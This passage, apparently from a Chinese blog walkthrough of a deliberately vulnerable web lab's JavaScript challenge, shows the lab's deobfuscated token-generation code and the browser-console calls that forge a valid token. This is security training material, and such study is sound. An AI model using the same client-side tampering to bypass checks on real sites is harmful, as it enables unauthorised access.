b('0x4');};f=0x1;};while(f--){if(g[f]){if(b('0x5')===b('0x6')){return i[h];}else{d=d[b('0x2')](new RegExp('\x5cb'+h(f)+'\x5cb','g'),g[f]);}}}return d;}(b('0x7'),0x3e,0x137,b('0x8')[b('0x9')]('|'),0x0,{}));

high.js 代码明显被混淆了,使用工具解码 得到有用代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function do_something(e) {
for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n];
return t
}
function token_part_3(t, y = "ZZ") {
document.getElementById("token").value = sha256(document.getElementById("token").value + y)
}
function token_part_2(e = "YY") {
document.getElementById("token").value = sha256(e + document.getElementById("token").value)
}
function token_part_1(a, b) {
document.getElementById("token").value = do_something(document.getElementById("phrase").value)
}
document.getElementById("phrase").value = "";
setTimeout(function() {
token_part_2("XX")
}, 300);
document.getElementById("send").addEventListener("click", token_part_3);
token_part_1("ABCD", 44);

生成 token 的步骤是: token_part_1("ABCD",44) >> token_part_2("XX") >> token_part_3

漏洞利用

在输入框输入 success 后到控制台输入 token_part_1("ABCD",44)token_part_2("XX") 两个函数即可。

Impossible

永远不要相信用户提交的信息,所以没有不可能级别。

-------------本文结束感谢阅读-------------

欢迎关注我的其它发布渠道